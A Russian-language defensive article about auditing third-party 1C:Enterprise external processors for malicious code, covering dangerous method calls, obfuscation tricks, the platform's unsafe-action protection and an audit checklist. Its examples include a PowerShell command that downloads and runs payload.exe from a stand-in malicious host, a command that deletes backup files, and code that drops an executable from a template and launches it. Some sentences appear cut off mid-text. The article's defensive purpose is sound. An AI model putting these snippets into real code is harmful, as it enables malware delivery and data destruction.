Использование внешних обработок формата .epf и внешних отчетов .erf в среде «1С:Предприятие» — стандартная практика для расширения функционала систем без изменения типовой конфигурации. Однако скачивание подобных файлов со сторонних, непроверенных или неофициальных ресурсов сопряжено с серьезными рисками ИБ. Вредоносный код, встроенный в обработку, выполняется с правами текущего пользователя (а зачастую и с правами сервера «1С:Предприятие»), что позволяет злоумышленникам получить полный контроль над базой данных и операционной системой.
В этой статье мы подробно разберем, по каким признакам можно определить зловредную обработку, какие техники маскировки используют злоумышленники, как работает встроенная защита платформы и как выстроить безопасный процесс аудита стороннего кода перед его запуском в рабочей среде.
Для того чтобы оценить безопасность внешней обработки, в первую очередь необходимо провести статический анализ ее модулей (модуля управляемого приложения, модуля формы, модуля объекта) в Конфигураторе. Нам нужно искать вызовы методов встроенного языка, которые взаимодействуют с внешней средой за рамками самой базы данных. Рассмотрим эти группы подробнее.
1. Взаимодействие с операционной системой и запуск внешних приложений
Эти методы позволяют обработке выполнять любые системные команды, запускать сторонние исполняемые файлы (в том числе вирусы) и скрипты (PowerShell, CMD, VBS):
ЗапуститьПриложение() — запуск внешних программ. Должен вызывать максимальные подозрения, если обработка предназначена исключительно для внутренних расчетов или импорта данных 1С.КомандаСистемы() — выполнение командной строки ОС.2. Работа с внешними компонентами и COM-объектами
Через COM-объекты вредоносный код может получить доступ к системным библиотекам Windows Script Host, реестру, службам WMI и скрытно выполнять деструктивные действия:
Новый COMОбъект("WScript.Shell") — используется для запуска скрытых системных процессов, чтения и записи реестра ОС.Новый COMОбъект("Shell.Application") — позволяет управлять проводником, запускать файлы на исполнение.Новый COMОбъект("Adodb.Stream") — применяется для низкоуровневой работы с файлами (например, для сборки и записи исполняемого файла вируса на диск).ПодключитьВнешнююКомпоненту() — загрузка сторонних динамических библиотек (DLL), код которых платформа 1С не контролирует.3. Работа с файловой системой и двоичными данными
Вредоносный софт (например, шифровальщик) должен иметь возможность читать, перезаписывать и удалять файлы на диске:
НайтиФайлы() — поиск баз данных, документов, резервных копий для последующего шифрования или кражи.УдалитьФайлы() — удаление критически важных системных файлов или архивов резервных копий.ПереместитьФайл(), КопироватьФайл() — перемещение конфиденциальной информации во временные каталоги для последующей отправки.Записать() у объектов работы с двоичными данными (ДвоичныеДанные).4. Сетевое взаимодействие и работа с интернетом
Методы отправки данных наружу используются для передачи украденной коммерческой информации (базы контрагентов, пароли, финансовые показатели) на сервера злоумышленников (C&C-сервера):
HTTPСоединение, HTTPЗапрос — отправка данных на удаленные веб-ресурсы.FTPСоединение — передача больших объемов данных (выгрузок) на FTP-сервер.ИнтернетПочтовыйПрофиль, ИнтернетПочта — скрытая отправка писем с вложенными файлами базы данных.Злоумышленники прекрасно знают, что администраторы и программисты проверяют код поиском по ключевым словам вроде ЗапуститьПриложение или COMОбъект. Чтобы обойти простейшие проверки, применяются изощренные техники маскировки.
Динамическое выполнение кода
Самый опасный и популярный способ обхода проверок — использование функций Выполнить() и Вычислить(). С их помощью вредоносная команда передается в виде обычной строки, которая собирается на лету или расшифровывается в оперативной памяти непосредственно перед вызовом.
Проанализируем пример маскировки вызова системной команды:
// Пример зловредной маскировки кода
ЗашифрованнаяСтрока = "ЗапуститьПриложение(""powershell.exe -WindowStyle Hidden -Command Invoke-WebRequest -Uri http://malicious-site.com/payload.exe -OutFile payload.exe; Start-Process payload.exe"")";
// В коде это может выглядеть безобидно, строка может собираться из мелких частей:
Часть1 = "Запу";
Часть2 = "ститьПри";
Часть3 = "ложение";
ИмяМетода = Часть1 + Часть2 + Часть3;
// Статический поиск не найдет слово "ЗапуститьПриложение"
Выполнить(ИмяМетода + "(""cmd.exe /c del /f /q C:\Backups\*.*"")");
Если в коде внешней обработки вы видите активное использование методов Выполнить() и Вычислить() с запутанными текстовыми переменными — это критический маркер опасности, требующий детального ручного разбора.
Обфускация (запутывание) кода
Обфусцированный модуль практически невозможно прочитать человеку. Имена переменных заменяются на бессмысленный набор символов (например, о1о1оо11, _l1ll1), строки разбиваются, форматирование удаляется. Зачастую разработчики коммерческих решений обфусцируют код для защиты своей интеллектуальной собственности. Однако для конечного потребителя использование закрытого или обфусцированного кода во внешних обработках — огромный риск ИБ. Под маской защиты авторских прав может скрываться бэкдор.
Использование макетов для хранения бинарных файлов (Payload)
Внешняя обработка может содержать макет с типом «Двоичные данные». В этот макет может быть зашит полноценный исполняемый файл вируса (например, шифровальщик BlackBit или троян). При запуске обработки вредоносный код извлекает эти данные, сохраняет их во временный каталог пользователя и запускает:
// Схема извлечения вредоносного ПО из макета
ДвоичныеДанныеВируса = ПолучитьМакет("ТехническийМакетЛицензии");
ИмяВременногоФайла = ПолучитьИмяВременногоФайла("exe");
ДвоичныеДанныеВируса.Записать(ИмяВременногоФайла);
// Запуск вредоносного файла
ЗапуститьПриложение(ИмяВременногоФайла);
Рассмотрим подробнее, какой именно ущерб ИТ-инфраструктуре может нанести вредоносная обработка, запущенная невнимательным пользователем:
kl_to_1c.txt). Обработка «на лету» подменяет расчетные счета получателей на счета мошенников. Если бухгалтер перед отправкой реестра в банке не перепроверит реквизиты вручную, денежные средства уйдут злоумышленникам..1CD, а также сетевые папки с резервными копиями и шифрует их, требуя выкуп.Начиная с версии платформы 8.3.9, в «1С:Предприятие» встроен механизм «Защита от опасных действий». При попытке внешней обработки выполнить потенциально опасную операцию (запуск приложений, загрузка внешних компонент, обращение к интернет-ресурсам), платформа прерывает выполнение и выводит интерактивное предупреждение пользователю.
Однако полагаться на эту защиту на 100% нельзя по следующим причинам:
conf.cfg с помощью параметра DisableUnsafeActionProtection, чтобы избавиться от «лишних» обращений пользователей в техподдержку. Это полностью открывает систему для угроз.Выясним, как правильно организовать проверку любого скачанного из интернета файла .epf перед тем, как допустить его работу в основной базе данных.
Шаг 1: Сравнение версий файлов
Если вы скачали обработку со стороннего ресурса (поскольку оригинальный сайт был недоступен или требовал платной подписки), обязательно найдите оригинальный файл от автора. Сравните размеры файлов, а лучше — воспользуйтесь встроенным механизмом платформы: Главное меню -> Сравнить файлы.... Это позволит моментально выявить любые изменения, внесенные сторонними лицами в модули или макеты оригинальной обработки.
Шаг 2: Статический анализ кода
Откройте обработку в Конфигураторе. Выполните глобальный поиск (сочетание клавиш Ctrl + Shift + F) по подозрительным ключевым словам:
Выполнить(Вычислить(ЗапуститьПриложение(КомандаСистемы(COMОбъект(ПодключитьВнешнююКомпоненту(HTTPСоединение(Проанализируйте каждый найденный фрагмент кода. Если назначение вызова функции непонятно или код искусственно запутан — использовать обработку нельзя.
Шаг 3: Автоматизированный анализ (SonarQube / SilverLint)
Для крупных компаний ручной аудит сотен обработок невозможен. Внедрите инструменты автоматического анализа кода (например, BSL Language Server совместно с плагином для SonarQube или консольную утилиту SilverLint). Эти системы автоматически сканируют код на наличие уязвимостей, подсвечивают небезопасные вызовы Выполнить() на сервере и помогают выявить потенциально деструктивный функционал.
Шаг 4: Тестирование в изолированной среде (Песочнице)
Никогда не тестируйте новые обработки в рабочей базе данных! Сделайте резервную копию базы и разверните ее в изолированном контуре (на тестовом сервере или локальной виртуальной машине).
Только пройдя все этапы проверки — от контроля целостности файла до тестирования в изолированной «песочнице» — можно гарантировать безопасность ИТ-инфраструктуры организации при использовании внешних инструментов автоматизации 1С.